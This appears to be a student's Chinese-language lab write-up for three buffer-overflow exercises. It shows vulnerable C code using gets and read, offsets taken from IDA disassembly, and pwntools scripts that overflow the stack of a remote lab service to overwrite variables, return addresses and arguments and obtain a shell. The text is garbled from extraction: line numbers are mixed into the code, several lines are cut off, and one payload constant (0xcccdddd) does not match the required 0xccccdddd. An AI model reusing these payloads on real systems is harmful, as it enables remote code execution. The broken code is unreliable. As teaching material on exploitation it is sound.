实验 1. Buffer Overflow Baby

漏洞利用思路和方法

漏洞产生原因

```
# 01_bof_baby gcc -fno-stack-protector bof-baby.c -0 1
bof-baby.c: In function 'hear':
bof-baby.c:11:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
    gets(str);
    ^~~~
    fgets
/tmp/ccEtzZgl.o: In function `hear':
bof-baby.c:(.text+0x1d): warning: the `gets' function is dangerous and should not be used.
```

可以看到gcc编译器下会对gets调用发出警告(the gets function is dangerous and should not be used)。

gets 函数从标准输入读入用户输入的一行文本,在遇到EOF字符或换行字符前,不会停止读入文本。即该函数不执行越界检查,故有可能使任何缓冲区溢出。

漏洞利用方法

```
#define LENGTH 50
2
    void hear() {
3
         char p1 = 'N';
4
         char p2 = 'Y';
         char str[LENGTH];
 6
         gets(str);
7
         if (p1==p2) {
8
                printf("[HACKED]\n");
9
                system("/bin/sh");
10
11
```

观察 hear() 函数源代码可以发现,系统为 str 预留的空间是50,如果读入的字符串长度超出了50,则会造成缓冲区溢出,而且实验中关闭了软件保护机制,因此我们可以通过缓冲区溢出覆盖程序的局部变量 p1 和 p2,输入52个字符,其中最后2个字符需要相同,就可以绕过检查获取shell。

关键分析步骤及结果

实验脚本

```
from pwn import *

sh = remote('47.99.80.189', 10001) # pwntools通过socket连接至远端
sh.recvuntil("Please input your StudentID:\n") # 远程环境统一要求输入学号
sh.sendline('3180105507')
sh.recvuntil("Tell me something, less than 50 characters:\n")

# 通过缓冲区溢出覆盖程序的局部变量,绕过检查获取shell
payload = 'a' * 52
sh.sendline(payload) # 发送计算的payload
```

```
      12
      sh. recvuntil("[HACKED]\n")
      # 交互至接受完 "[HACKED]\n"

      13
      sh. sendline("./flag. exe 3180105507")

      14
      sh. interactive()
      # 将代码交互转换为手工交互
```

实验结果

实验 2. Buffer Overflow Boy

漏洞利用思路和方法

漏洞产生原因

read()函数也是不安全的函数,同样不执行越界检查,故有可能使缓冲区溢出。

漏洞利用方法

```
#define LENGTH 10
 2
    void target_code(void)
 3
           printf("[HACKED]\n");
 5
          execve("/bin/sh", NULL, NULL);
 6
           exit(0);
 7
 8
 9
    void func(void)
10
11
          char buffer[LENGTH]={'0'};
12
          read(0, buffer, LENGTH*3);
13
           if (strlen(buffer) > 10) {
14
                printf("[x] Invalid Password \n");
15
                exit(0);
16
17
```

观察源代码可知,我们可以通过读入 buffer 使缓冲区溢出覆盖 func() 函数的返回地址,跳转至目的函数 target_code() 获取shell。

此外, fun() 函数限制了 buffer 的长度为不超过10, 否则会输出 Invalid Password, 因此我们可以利用 strlen() 函数, 在不超过长度10的位置通过插入截断\x00或\0来通过限制。

关键分析步骤及结果

关键分析步骤

• 查看 target_code 函数的起始地址。

f target_code

08048576

• 用IDA对 func 函数进行反汇编,可以看到EBP与EBP的距离12H,而栈中的EBP占栈内存6H,所以要覆盖到返回地址需要18H,即到达目标函数需要输入的 buffer 长度为22。

```
1 void func()
  2 {
     char buffer[10]; // [esp+6h] [ebp-12h] BYREF
  3
  4
     *(_DWORD *)buffer = 48;
    *( DWORD *)&buffer[4] = 0;
    *(_WORD *)&buffer[8] = 0;
    read(0, buffer, 0x1Eu);
     if ( strlen(buffer) > 0xA )
 10
       puts("[x] Invalid Password ");
11
       exit(0);
 12
 13
     }
 14 }
```

实验脚本

```
from pwn import *
 2
 3
    sh = remote('47.99.80.189', 10002) # pwntools通过socket连接至远端
    sh. recvuntil("Please input your StudentID:\n") # 远程环境统一要求输入学号
    sh. sendline ('3180105507')
    sh.recvuntil("[*] Give me something to overflow me! \n")
 7
 8
    # 通过缓冲区溢出覆盖程序的返回地址,跳转至目的函数获取shell
 9
    payload = b'a' + b' \setminus 0' + b'a' * 20 + p32(0x08048576)
10
    sh. sendline (payload)
                              # 发送计算的payload
11
12
    sh. recvuntil("[HACKED]\n") # 交互至接受完 "[HACKED]\n"
13
    sh. sendline ("./flag. exe 3180105507")
   sh. interactive() # 将代码交互转换为手工交互
14
```

实验结果

实验 3. Buffer Overflow Again

漏洞利用思路和方法

漏洞产生原因

同实验2, read()函数不执行越界检查,有可能使缓冲区溢出。

漏洞利用方法

```
#define LENGTH 20
     void target_code(unsigned int arg1, unsigned int arg2)
 4
      if (arg1==0xaaaabbbb&&arg2==0xccccdddd) {
 5
               printf("[HACKED]\n");
 6
               execve("/bin/sh", NULL, NULL);
 7
       }e1se{
 8
              printf("please try again!\n");
 9
10
        return;
11
12
    void func (void)
14
15
          char buffer[LENGTH]={'0'};
16
          read(0, buffer, LENGTH*3);
17 }
```

观察源代码可知,我们可以通过读入 buffer 使缓冲区溢出覆盖 func() 函数的返回地址,跳转至目的函数 target_code(unsigned int arg1,unsigned int arg2) 获取shell。

与实验2不同的是,目的函数 target_code() 带有参数 arg1和 arg2 ,因此我们还需要通过溢出对参数赋值,使 arg1=0xaaaabbbb, arg2==0xccccdddd 。

关键分析步骤及结果

关键分析步骤

• 查看 target_code 函数的起始地址。



08048516

• 用IDA查看 func 函数的汇编代码可以看到变量 buffer 与EBP的距离为1CH, var_4 的距离是4, 所以要覆盖到返回地址需要28+4=32个字节,即到达目标函数需要输入的 buffer 长度为32。

```
.text:0804857C
.text:0804857C
.text:0804857C; Attributes: bp-based frame
.text:0804857C
.text:0804857C ; void func()
.text:0804857C public func
.text:0804857C func proc near
.text:0804857C
.text:0804857C
.text:0804857C
.text:0804857C
.text:0804857C
.text:0804857C
```

• 查看 target_code 函数的汇编代码可以看到变量 var_4 占据了4个字节,在赋值参数 arg1 和 arg2 之前还要覆盖这4个字节。

```
.text:08048516
.text:08048516
.text:08048516 ; Attributes: bp-based frame
.text:08048516
.text:08048516 ; void __cdecl target_code(unsigned int arg1, unsigned int arg2)
.text:08048516 public target_code
.text:08048516 target_code proc near
.text:08048516
.text:08048516 var_4= dword ptr -4
.text:08048516 arg1= dword ptr 8
.text:08048516 arg2= dword ptr 0Ch
.text:08048516
.text:08048516 ; __unwind {
.text:08048516 push ebp
.text:08048517 mov
                          ebp, esp
.text:08048519 push ebx
                                           ; Integer Subtraction
.text:0804851A sub esp, 4
.text:0804851D call
                          x86 get pc thunk bx ; Call Procedure
.text:08048522 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $); Add .text:08048528 cmp [ebp+arg1], 0AAAABBBBh; Compare Two Operands short loc_8048564; Jump if Not Zero (ZF=0)
```

实验脚本

```
from pwn import *
 2
 3
    sh = remote('47.99.80.189', 10003) # pwntools通过socket连接至远端
 4
    sh.recvuntil("Please input your StudentID:\n") # 远程环境统一要求输入学号
 5
    sh. sendline ('3180105507')
 6
    sh.recvuntil("[*] Give me something to overflow me! \n")
 7
    # 通过缓冲区溢出覆盖程序的返回地址,并跳转至带有参数的目的函数获取shell
9
    payload = b'a' * 32 + p32(0x08048516) + b'a' * 4 + p32(0xaaaabbbb) + p32(0xcccdddd)
10
    sh. sendline (payload) # 发送计算的payload
11
12
    sh. recvuntil("[HACKED]\n") # 交互至接受完 "[HACKED]\n"
13
    sh. sendline ("./flag. exe 3180105507")
   sh. interactive() # 将代码交互转换为手工交互
```

实验结果

